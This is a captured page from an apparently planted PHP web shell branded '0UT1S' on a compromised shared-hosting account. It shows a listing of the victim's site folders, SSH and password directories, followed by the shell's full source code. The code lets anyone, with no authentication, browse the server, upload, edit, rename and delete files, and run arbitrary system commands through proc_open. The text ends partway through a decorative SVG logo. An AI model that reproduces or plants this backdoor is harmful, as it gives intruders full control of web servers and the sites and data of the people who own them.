home
/
aioutajg
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] .cagefs
N/A
[DIR] .caldav
N/A
[DIR] .cl.selector
N/A
[DIR] .cpanel
N/A
[DIR] .cphorde
N/A
[DIR] .htpasswds
N/A
[DIR] .nc_plugin
N/A
[DIR] .softaculous
N/A
[DIR] .spamassassin
N/A
[DIR] .ssh
N/A
[DIR] .subaccounts
N/A
[DIR] .trash
N/A
[DIR] 8171bispupdate.com
N/A
[DIR] aioubooks.online
N/A
[DIR] crazyplaying.xyz
N/A
[DIR] engineeringinsides.com
N/A
[DIR] etc
N/A
[DIR] freecrazygames.xyz
N/A
[DIR] ftp_files
N/A
[DIR] gepcobillonline.xyz
N/A
[DIR] logs
N/A
[DIR] lscache
N/A
[DIR] lscmData
N/A
[DIR] mail
N/A
[DIR] my.nerdemoji.xyz
N/A
[DIR] nerdemoji.xyz
N/A
[DIR] pdfbirle.com
N/A
[DIR] playpauseonline.com
N/A
[DIR] postscorner.com
N/A
[DIR] poststime.com
N/A
[DIR] public_ftp
N/A
[DIR] public_html
N/A
[DIR] softaculous_backups
N/A
[DIR] ssl
N/A
[DIR] t.gepcobillonline.xyz
N/A
[DIR] test.aioubooks.online
N/A
[DIR] test.imgccr.com
N/A
[DIR] test.nerdemoji.xyz
N/A
[DIR] test.poststime.com
N/A
[DIR] tmp
N/A
[DIR] unblockedgames247.com
N/A
[DIR] uploads
N/A
[DIR] vendor
N/A
[DIR] watermarkimage.online
N/A
[DIR] watermelongame.site
N/A
[DIR] wimg.online
N/A
[DIR] www
N/A
.bash_history
115 bytes
Rename
Delete
.bash_logout
18 bytes
Rename
Delete
.bash_profile
141 bytes
Rename
Delete
.bashrc
376 bytes
Rename
Delete
.clamavconnector.disinfection.log
9.29 KB
Rename
Delete
.clamavconnector.status
3.08 KB
Rename
Delete
.gemrc
139 bytes
Rename
Delete
.imunify_patch_id
106 bytes
Rename
Delete
.last.inodes
6.51 KB
Rename
Delete
.lastlogin
571 bytes
Rename
Delete
.myimunify_id
102 bytes
Rename
Delete
.spamassassinboxenable
0 bytes
Rename
Delete
.spamassassinenable
0 bytes
Rename
Delete
0u.php
37.68 KB
Rename
Delete
a.sh
12.29 KB
Rename
Delete
check-imagick.php
0 bytes
Rename
Delete
composer.phar
57.07 KB
Rename
Delete
error_log
971 bytes
Rename
Delete
robots.txt
0 bytes
Rename
Delete
scanreport-aioutajg-Mar_14_2025_03h31m.txt
11.00 KB
Rename
Delete
<?php // Set initial working directory to the script's location (no session used) $currentDir = isset($_GET['path']) ? realpath($_GET['path']) : dirname(__FILE__); $dirContents = scandir($currentDir); // Sort directories first, then files $directories = []; $files = []; foreach ($dirContents as $item) { if ($item === '.') continue; $itemPath = realpath($currentDir . DIRECTORY_SEPARATOR . $item); if (is_dir($itemPath)) { $directories[] = $item; } else { $files[] = $item; } } sort($directories); sort($files); $dirContents = array_merge($directories, $files); // Remove ".." here to avoid duplication // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name) { $uploadFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name'][$key]); move_uploaded_file($tmp_name, $uploadFile); } // After upload, reload the page to show the updated directory content echo "<script>alert('File(s) uploaded successfully!');</script>"; header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($currentDir)); exit; } // Handle file actions (rename, delete, edit) if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['delete'])) { $deleteFile = $_POST['delete']; if (file_exists($deleteFile)) { if (is_dir($deleteFile)) { rmdir($deleteFile); // Remove directory } else { unlink($deleteFile); // Remove file } // After delete, reload the page to show the updated directory content echo "<script>alert('File or directory deleted successfully!');</script>"; header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($currentDir)); exit; } } if (isset($_POST['rename'])) { $oldName = $_POST['oldName']; $newName = $_POST['newName']; if (file_exists($oldName)) { rename($oldName, $newName); // Rename file or directory // After rename, reload the page to show the updated directory content echo "<script>alert('File or directory renamed successfully!');</script>"; header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($currentDir)); exit; } } } // Function to format file size to human-readable format (KB, MB, GB) function formatSize($size) { if ($size >= 1073741824) { return number_format($size / 1073741824, 2) . ' GB'; } elseif ($size >= 1048576) { return number_format($size / 1048576, 2) . ' MB'; } elseif ($size >= 1024) { return number_format($size / 1024, 2) . ' KB'; } else { return $size . ' bytes'; } } // Handle file editing (when a file is clicked) $fileToEdit = isset($_GET['edit']) ? realpath($_GET['edit']) : null; $fileContent = ''; if ($fileToEdit && file_exists($fileToEdit)) { $fileContent = file_get_contents($fileToEdit); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newContent'])) { file_put_contents($fileToEdit, $_POST['newContent']); $fileContent = $_POST['newContent']; // Update the content after saving // After saving the file, reload the page to show the updated content echo "<script>alert('File content updated successfully!');</script>"; header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($currentDir)); exit; } } // Create file functionality if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFileName; if (!file_exists($newFilePath)) { if (touch($newFilePath)) { $fileCreated = true; // Set a flag indicating that the file was created successfully } else { $fileCreated = false; // Set a flag indicating an error while creating the file } } else { $fileCreated = false; // The file already exists } } // Command box functionality $output = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command']) && !empty($_POST['command'])) { $command = $_POST['command']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes, $currentDir); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } // After command execution, alert the result echo "<script>alert('Command executed successfully! Output: " . htmlspecialchars($output) . "');</script>"; } $homeDir = dirname(__FILE__); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>0UT1S's</title> <style> header { font-family: Arial, sans-serif; /* Customize the font */ font-size: 36px; /* Customize the font size */ display: flex; align-items: center; color: #111; /* Default text color for other content */ } .header-text { color: cyan; /* Cyan color for the "0UT1S" text */ font-weight: bold; /* Optional: make the text bold */ } body { background-color: black; color: #0f0; font-family: monospace; margin: 0; padding: 0; display: flex; flex-direction: column; align-items: center; height: 100vh; } .container { width: 90%; max-width: 100%; background: #111; padding: 20px; border-radius: 10px; box-shadow: 0 0 15px #0f0; text-align: left; margin-bottom: 10px; } .path { padding: 10px; background: #222; display: flex; gap: 5px; justify-content: center; } .path a { color: #0f0; text-decoration: none; padding: 3px 6px; background: #333; border-radius: 3px; } .upload-section { display: flex; flex-wrap: wrap; justify-content: space-between; gap: 10px; } .upload-btn { background: #0f0; color: black; padding: 8px; border: none; cursor: pointer; font-size: 15px; border-radius: 5px; } .command-box { display: flex; justify-content: center; align-items: center; width: 95%; gap: 10px; background: #222; border-radius: 5px; padding: 10px; } .command-box input { flex-grow: 1; background: #111; color: #0f0; border: 1px solid #0f0; padding: 8px; font-size: 15px; border-radius: 5px; } .command-box button { background: #0f0; color: black; padding: 8px; border: none; cursor: pointer; border-radius: 5px; font-size: 15px; } .dir-list { display: flex; flex-direction: column; align-items: flex-start; /* overflow-y: auto; */ max-height: 50%; } .dir-list-item { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-bottom: 5px; background: #333; padding: 5px; border-radius: 3px; } .dir-list-item a { color: #0f0; font-weight: bold; text-decoration: none; flex-grow: 1; } .dir-list-item .file-size { color: #0f0; text-align: center; margin-left: auto; width: 120px; text-align: right; margin-right: 20px; } .dir-list-item button { background: #0f0; color: black; padding: 7px; border: none; cursor: pointer; border-radius: 3px; font-size: 15px; } .dir-list-item .button-container { display: flex; gap: 10px; align-items: center; } .textarea-container { width: 100%; max-width: 90%; background: #111; padding: 20px; border-radius: 10px; box-shadow: 0 0 15px #0f0; text-align: left; margin-top: 20px; } textarea { width: 100%; height: 300px; background-color: #111; color: #0f0; border: 1px solid #0f0; font-family: monospace; font-size: 15px; padding: 10px; } svg { width: 200px; height: 200px; border: 3px solid black; background-color: black; } </style> </head> <body> <div> <svg viewBox="0 0 640 640" xmlns="http://www.w3.org/2000/svg"> <path d="m613 499 3 3v1l3 3v1l7 7v1l13 13v2-3l-14-14v-1l-8-8v-1Zm-572-2-3 3v1l-6 6v1l-8 8v1L7 534H6l-3 3H1l-1 1 1-1 1 1 2-2h1l4-4h1l9-9v-1l1-1h1v-1l9-9v-1l5-5v-1l3-3v-1l3-3 1 1Zm568-1 1 1Zm-354-93 2 2Zm-11-7h1l1 1-1 1h-1 1l1-1h2l1 1-1 1h-1 1l1 1h1l1 1h1l1 1-1-1 1-1h1l1 1-1-1h-1l-1-1h-1l-1-1h-1l-1-1h-2l-1-1Zm149-2-1 1h-2l-1 1h-1l-1 1h-1l-2 2h-1l-2 2h-1l-7 7v1l-3 3v1l-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v2h2l1-1 1 1h3v-2l1-1v-1l1-1v-1l2-2v-1l2-2v-1l7-7h1l3-3h1l2-2h1l1-1h1l1-1h1l1-1h1l1-1h2l1-1h2l1-1v-2h-2l-1 1h-2l-1 1h-1l-1 1h-1l-1 1h-1 1l1-1h1l1-1h1l1-1h2l1-1h1l1 1-2 2h-1l-1 1h-2l-1 1h-1l-1 1h-2l-1 1h-1l-1-1 1-1-1 1h-1l-1 1h-1l-2 2h-1l-2 2h-1l-7 7v1l-2 2v1l-2 2v1l-1 1v2l-1 1v2l-1 1-1-1v-3l1-1v-1 1l-1 1v2l-2 2-1-1v-1l1-1v-2l1-1v-2l2-2v-1l1-1v-1l2-2v-1l10-10h1l2-2h1l1-1h1l1-1h1l1-1h1l1-1 1 1v1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-2 2h-1l-9 9v1l-2 2v1l-1 1 1-1v-1l2-2v-1l8-8h1l2-2h1l2-2h1l1-1h1l1-1h1l1-1v-2Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m242 394-2 2h-2l-1-1h-2v1l-1 1 1 1h4l1 1h2l1 1h1l1 1h1l1 1h1l1 1h1l1 1h1l3 3h1l7 7v1l2 2v1l1 1v1l1 1v1h2v-3l-1-1v-1l-1-1v-1l-2-2v-1l-6-6 5 5v1l3 3v1l1 1v1l1 1v2l-1 1-1-1v-1l-1-1v-1l-1-1v-1l-3-3v-1l-5-5h-1l-3-3h-1l-1-1h-1l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-2l-1-1h-3l-1-1v-1l1-1h1l1 1h2l1 1h1-1l-1-1 1-1h1l1-1h3l1 1h2l1 1h1l1 1h1l1 1h1l2 2h1l2 2h1l9 9v1l2 2v1l1 1v1l1 1v1l1 1v2l-1 1-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-8-8h-1l-2-2 2 2h1l7 7v1l2 2v1l1 1v1l2 2v2l1 1v1h2v-4l-1-1v-1l-1-1v-1l-1-1v-1l-3-3v-1l-7-7h-1l-2-2h-1l-2-2h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1Zm175-13v2l1 1h1l1 1h1l1 1h1l1 1h1l1 1h2l1 1h2l1 1h1l1 1h2l1 1h2l1 1h2l1 1h3l1 1h2l1 1h3l1 1h3l1 1h4l1 1h5l1 1h5l1 1h8l1 1h25l2-2 3 3h1l1 1h1l3 3h1l1 1h1l2 2h1l2 2h1l2 2h1l2 2h1l1 1h1l5 5h1l15 15h1l1 1v1l2 2h2v-3l-12-12h-1l-4-4 1-1h1l1-1 1 1h2l1 1h1l1 1h1l1 1h1l1 1h1l2 2h1l1 1h1l6 6v1l2 2v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v1l2 2v2l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l2 2v1l1 1v1l1 1v1l1 1v1l2 2v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1l2 2v1l2 2v1l2 2v1l4 4v1l1 1h3v-2l-4-4v-1l-3-3v-1l-2-2v-1l-2-2v-1l-2-2v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-2-2 2 2v1l1 1v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1l2 2v1l3 3v1l3 3v1l3 3-1 1h-1l-3-3v-1l-3-3v-1l-3-3v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-3-3h-1l-2-2h-1l-1-1h-1l-2-2h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1-1 1h-2v1l17 17v1l-1 1-19-19h-1l-3-3h-1l-3-3h-1l-2-2h-1l-2-2h-1l-2-2h-1l-1-1h-1l-2-2h-1l-2-2h-1l-2-2h-1l-2-2h-1l-2-2 1 1-1 1h-1l-1 1h-24l-1-1h-8l-1-1h-5l-1-1h-5l-1-1h-4l-1-1h-3l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-2l-1-1h-1l-2-2h-2l-1-1v-1l1-1h1l1 1h1l1 1h1l1 1h1l1 1h2l1 1h1l1 1h2l1 1h1l1 1h2l1 1h2l1 1h3l1 1h1l1 1h4l1 1h3l1 1h3l1 1h4l1 1h5l1 1h7l1 1h12l1 1h6l1-1 1 1 1-1 1 1h2l1-1-1 1h-2l-1-1-1 1-1-1-1 1h-6l-1-1h-12l-1-1h-7l-1-1h-5l-1-1h-4l-1-1h-3l-1-1h-3l-1-1h-4l-1-1h-1l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-1l-1-1h-1l-1-1h-2l-1-1h-2l-1-1h-1l-1-1h-1l-1-1h-1l-1-1Zm-23-6 1 1-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-4l-1 1h-4l-1 1h-3l-1 1h-5l-1 1h-6l-1 1h-8l-1 1h-35l-1-1h-7l-1-1h-6l-1-1h-5l-1-1h-3l-1-1h-4l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-1l-1-1h-1l-1-1h-2v3h2l1 1h2l1 1h1l1 1h2l1 1h2l1 1h2l1 1h3l1 1h3l1 1h4l1 1h3l1 1h6l1 1h5l1 1h7l1 1v1l1 1v4l1 1v6l1 1v13l1 1v3l-1 1v3l1 1v1l1-1h1v-18l-1-1v-7l-1-1v-4l-1-1v-3l2-2 1 1h20l1-1h9l1 1v5l-1 1v5l-1 1v8l-1 1v19h3v-3l-1-1v-4l1-1v-15l1-1v-7l1-1v-4l1-1v-2l2-2h4l1-1h6l1-1h4l1-1h3l1-1h4l1-1h3l1-1h2l1-1h3l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1-1h1l1-1-1-1v-1h-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m316 372-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1v2h2l1-1h2l1-1h2l1-1h2l1-1h2l1-1h2l1-1h3l1 1h2l1 1h3l1 1h2l1 1h3l1 1h3v-2h-1l-1-1h-3l-1-1h-2l-1-1h-3l-1-1h-2l-1-1Zm-52-4-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-2l1 1-1 1h4l1-1h3l1-1h2l1-1h2l1-1h2l1-1h2l1 1h1l1 1h1l1 1h2l1 1h1l1 1h1l1 1h3-2l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-2l-1 1h-2l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1-1 2-2h2l1-1h3l1-1h2l1-1h2l1-1h6l1 1h1l1 1h1l1 1h2l1 1h1l1 1h1l1 1h1l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-1l-1-1h-1l-1-1Zm106-1-1 1h-1l-1 1h-1l-2 2h-1l-1 1h-1l-2 2v2h2l2-2h2l2-2h1l1-1h1l1-1h4l1 1h2l1 1h2l1 1h2l1 1h2l1 1h4v-2h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1Zm-85-64-1 1h-2 1l1 1 2-2h71l1 1h2v-1l-1 1-1-1Zm83-1-1 1h-1l-1 1v3l2 2h1l1 1h1l1-1h1l1-1v-4l-2-2Zm-95-1-1 1h-2v1l-1 1v4l1 1h1l1 1h1l1-1h1l1-1h1v-4l-2-2h-1Zm84-3 1 1v1l1 1-1-1v-1Zm-66-5-1 1v1l-2 2v1l-1 1 1 1h5v-7l-1 1Zm-4-1-1 1v1l-1 1 1-1 1 1 1-1-1 1-1-1v-1Zm62-2v10h6v-2l-1-1v-1l-1-1v-1l-2-2v-1 2l2 2v1l1 1v1l1 1-1 1h-4l-1-1Zm-59-3-1 1Zm58-4 1 1v2l2 2-1-1v-1l-1-1v-1Zm-51 0-1 1v2l-1 1v10l1 1h2v-13 12l-1 1h-1l-1-1v-10l1-1v-2Zm46-2v17h3l1-1v-12l-1-1v-1l-1-1v1l2 2v11l-2 2h-1l-1-1Zm-49-1-1 1v1l-1 1v1l-1 1 1-1 1 1v1l-1 1v1l-2 2v1l-1 1 2-2 1 1v-3l1-1v-2l1-1-1 1-1-1v-1l1-1v-1Zm52-4 1 1v1l1 1-1-1v-1Zm-49-1-1 1v1l-1 1 1-1v-1Zm3-1-1 1v1l-1 1v1l-2 2v1l-1 1 2-2v-1l2-2v-2Zm5-2v26l1 1-1 1h-4l-1-1 1-1v-21l1-1v-1l1-1v-1l-1 1v1l-1 1v22l-1 1 1 1h4l1-1-1-1Zm38-1 1 1Zm-6 0v29h4v-24l-1-1v-1l-1-1v-1 1l1 1v1l1 1v23l-1 1h-2l-1-1Zm-26-9v34l-2 2-2-2v-30l2-2v-1 1l-2 2v30l1 1v1h2l1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m342 261 2 2v1l3 3v1l2 2v1l2 2v1l2 2v1l2 2v1l2 2v1l2 2v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1l-2 2h-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-1l-2-2v-2l-2-2v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1 1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l2 2v1l1 1v1l1 1v1l-1 1-1-1 1 1 1-1 2 2v1l1 1v1l-1 1-1-1 1 1v1l1 1v1l-1 1 1-1 2 2v1l-1 1 1-1v-1l1-1 1 1v1l2 2v1l2 2v1l1 1v1h3l1-1v-2l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-1l-3-3v-1l-1-1v-1l-3-3v-1l-2-2v-1l-3-3v-1Zm-11 0v36l1 1h2v-1l1-1v-29l-1-1v-2l-1-1v1l1 1v1l1 1v29l-2 2-2-2Zm-11-3-1 1 1 1-1 1v7l1 1v6l-1 1v16l1 1-1 1 1 1v3h2v-1l1-1v-37l-1-1-1 1Zm6-1-1 1v42h4v-43Zm-12-1-1 1v43h4v-42l-1-1h-1Zm-9 0v1l-1 1-1-1-2 2v1l-5 5v1l-2 2v1l-3 3v1l-2 2v1l-2 2v1l-2 2v1l-1 1v1l-2 2v1l-2 2v1l-1 1v1l-2 2v1l-1 1v1l-1 1v2h1l2 2 2-2v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1Zm5-4v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-2 2v1l-1 1v1l-1 1 1-1v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="M368 247h4l1 1h4l1 1h7l1 1v1l1 1-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v2l-1 1v3l-1 1v3l-1 1v4l-1 1v5l-1 1 1 1v8l-1 1v2l1 1v3l-1 1v1l-3 3h-5l-5-5v-1l1-1-1-1v-1 1l1 1-1 1v2l3 3h1l1 1h5l1-1h1l1-1v-2l1-1v-4l-1-1 1-1v-9l-1-1 1-1v-5l1-1v-4l1-1v-3l1-1v-3l1-1v-2l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-1l1-1v-2l1-1v-1l-2-2h-7l-1-1h-4l-1-1Zm-97 0-1 1h-4l-1 1h-9l-1 1v3l1 1v2l2 2v1l1 1v2l1 1v3l1 1v1l1 1v3l1 1v3l1 1v3l1 1v3l1 1v11l-1 1v1l1 1v2l1 1v1l-1 1v3l1 1v1l1 1v1h1l1 1h4l1-1h2l3-3v-5l2-2 1 1 2-2v-1l-1 1v1l-1 1-1-1v-1 1l-2 2v4l-1 1v1l-1 1h-1l-1 1h-1l-1 1h-3l-1-1h-1l-2-2v-1l-1-1v-3l1-1v-2l-1-1v-1l-1-1v-1l1-1v-11l-1-1v-3l-1-1v-3l-1-1v-3l-1-1v-3l-1-1v-1l-1-1v-3l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-2l-1-1v-1l2-2h8l1-1h4l1-1h2Zm47-9-1 1h-1l-2 2v1l-1 1v3l-1 1v7l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-2 2v1l-1 1v1l-2 2v1l-1 1 2-2v-1l1-1v-1l1-1v-1l2-2v-1l2-2v-1l2-2v-2l1-1v-7l1-1v-2l1-1v-1l4-4h6l5 5v2l1 1v6l-1 1-1-1v-4l-1-1v-3l-3-3h-6l-2 2v1l-1 1v3l-1 1v4l2 2h1l1 1h6l1-1h1l2-2h1l2 2v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1l2 2v1l1 1v1l1 1v1l2 2v1l2 2-2-2v-1l-1-1v-1l-1-1v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-8l-1-1v-2l-1-1v-1l-3-3Zm-19-1 1 1-1 1h-1 1l1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m319 234-1 1h-2l-4 4v2l-1 1v3l-1 1v1-1l1-1v-3l1-1v-2l3-3h1l1-1h1l1-1h5l1 1h1l4 4v1l1 1v3l1 1v7l1 1v1l1 1v1l1 1v1l2 2v1l1 1v1l2 2v1l1 1v1l1 1-1-1v-1l-1-1v-1l-1-1v-1l-1-1v-1l1-1 1 1-1-1-1 1-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-7l-1-1v-3l-1-1v-1l-2-2v-1h-1l-1-1h-1l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m316 232-1 1h-1l-4 4v2l-1 1v3l-1 1v7l-2 2h-2l-9 9v1l-3 3v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-2 2v1l-1 1v1l-2 2v1l-2 2v1l-1 1v1l-2 2v1l-1 1h-2l-1-1v-3l1-1v-5l-1-1v-5l-1-1v-4l-1-1v-3l-1-1v-2l-1-1v-3l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-1l-1-1v-2l-1-1 2-2h7l1-1h4l1-1h2l1-1h3l1-1h2l1-1h2l1-1h3l1-1h2l1-1h1l1-1h3l1-1h1l1-1h1l1-1h1l1-1h1l1-1h1v-3l-1 1h-1l-1 1h-1l-1 1h-1 1l1-1h1l1-1h1l1 1-2 2h-1l-1 1h-1l-1 1h-1l-1 1h-2l-1 1h-2l-1 1h-1l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-2l-1 1h-4l-1 1h-7l-1 1h-1v2l1 1v1l1 1v1l1 1v1l1 1v2l1 1v2l1 1v3l1 1v2l1 1v3l1 1v4l1 1v5l1 1v5l-1 1v4h4v-1l2-2v-1l1-1v-1l2-2v-1l1-1v-1l2-2v-1l2-2v-1l1-1v-1l2-2v-1l2-2v-1l2-2v-1l3-3v-1l2-2v-1l5-5v-1l3-3h1l2-2h1l1 1v-1l1-1v-8l1-1v-3l1-1v-1l6-6h10l2 2h1l1 1v1l2 2v1l1 1v2l1 1v8l1 1v1h2l10 10v1l3 3v1l2 2v1l3 3v1l1 1v1l3 3v1l1 1v1l2 2v1l1 1v1l2 2v1l2 2v1l1 1v1l2 2v1h4v-4l-1-1v-6l1-1v-4l1-1v-4l1-1v-4l1-1v-1l1-1v-3l1-1v-2l1-1v-2l1-1v-2l1-1v-1l1-1v-1l1-1v-1h-1l-1-1h-7l-1-1h-3l-1-1h-4l-1-1h-2l-1-1h-3l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-2l-1-1h-1l-1-1h-2l-2-2 1-1h1l1 1h1l1-1-1-1h-1l-1 1h-1l-1-1 1-1-1-1 1 1-1 1h-1l-1-1h-1l-1-1h-1l-1-1v3l1 1h1l1 1h2l2 2h3l1 1h1l1 1h2l1 1h2l1 1h2l1 1h2l1 1h3l1 1h2l1 1h4l1 1h3l1 1h7l2 2-1 1v1l-1 1v1l-1 1v2l-1 1v2l-1 1v2l-1 1v3l-1 1v1l-1 1v4l-1 1v4l-1 1v4l-1 1v6l1 1v3l-1 1h-2l-1-1v-1l-2-2v-1l-2-2v-1l-2-2v-1l-1-1v-1l-2-2v-1l-1-1v-1l-2-2v-1l-2-2v-1l-2-2v-1l-2-2v-1l-3-3v-1l-3-3v-1l-8-8h-2l-1-1v-1l-1-1v-7l-1-1v-3l-1-1v-1l-2-2v-1h-1l-1-1h-1l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="M334 230v2h1l1 1h1l1 1-1-1h-1l-2-2 1-1h1l1 1h1l2 2h1l2 2h2l2 2h1l1 1h2l1 1h1l1 1h2l1 1h2l1 1h4l1 1h7l1-1h3l1-1h1l1 1-2 2h-1l-1 1h-11 11l1-1h2l1-1v-1l1-1h-3l-1 1h-3l-1 1h-7l-1-1h-4l-1-1h-2l-1-1h-1l-1-1h-2l-1-1h-1l-1-1h-1l-1-1h-1l-1-1h-1l-2-2h-1l-2-2h-1l-1-1Zm-29 0-1 1h-1l-2 2h-1l-2 2h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-1l-1 1h-2l-1 1h-2l-1 1h-3l-1 1h-9l-1-1h-2l-1-1h-2v1l-1 1h1l1 1h1l1 1h9-9l-1-1h-1l-1-1v-1l1-1h1l1 1h2l1 1h9l1-1h3l1-1h2l1-1h2l1-1h2l1-1h1l1-1h1l1-1h1l1-1h1l3-3h1l1-1h1l1-1h1l1 1-2 2h-1l-1 1 1-1h1l1-1h1v-2Zm11-14-1 1h-1l-1 1v1h4l1-1h6l1 1h3v-2h-1l-1-1Zm6-6-1 1h-6l-1 1h-1v2h2l1-1h8l1 1h2v-1l1-1h-1l-1-1h-3Zm-7-4-2 2v2-2l1-1h1l1-1h9l1 1h1l1 1-1 1h-2l-1-1h-6l-1 1h-2 2l1-1h6l1 1h3v-2h-2l-1-1Zm2-6-1 1h-2l-1 1v2h2l1-1h3l1-1h1l1 1h4l1 1v-3h-2l-1-1Zm32-6-1 1h-3l-1 1h-2l-1 1h-2l-1 1h-1l-2 2h-1l-2 2v1l-1 1h3l2-2h1l2-2h2l1-1h1l1-1h2l1-1h15l1 1h2l1 1h1l1 1h2l3 3h1l5 5v1l2 2v1l1 1v1l1 1v1l1 1v1l1 1v3l1 1v4l1 1v5h1l1 1v-9l-1-1v-4l-1-1v-2l-1-1v-2l-1-1v-1l-1-1v-1l-2-2v-1l-7-7h-1l-2-2h-1l-1-1h-2l-1-1h-2l-1-1h-4l-1-1Zm-66 0-1 1h-4l-1 1h-2l-1 1h-2l-1 1h-1l-1 1h-1l-3 3h-1l-1 1v1l-3 3v1l-2 2v1l-1 1v1l-1 1v2l-1 1v2l-1 1v3l-1 1v7l-1 1 1 1h2v-4l1-1v-6l1-1v-2l1-1v-2l1-1v-1l1-1v-1l2-2v-1l6-6h1l2-2h1l2-2h2l1-1h2l1-1h15l1 1h2l1 1h1l1 1h1l1 1h1l3 3h3v-2l-2-2h-1l-2-2h-1l-1-1h-2l-1-1h-2l-1-1h-3l-1-1Z" fill="none" stroke="#0ff" stroke-width="2"/> <path d="m279 185-1 1h-4l-1 1h-3l-1 1h-3l-2 2h-2l-1 1h-1l-1 1h-1l-1 1h-1l-3 3h-1l-3 3h-1l-8 8v1l-4 4v1l-3 3v1l-3 3v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-2 2v1l-1 1v1l-1 1v1l-1 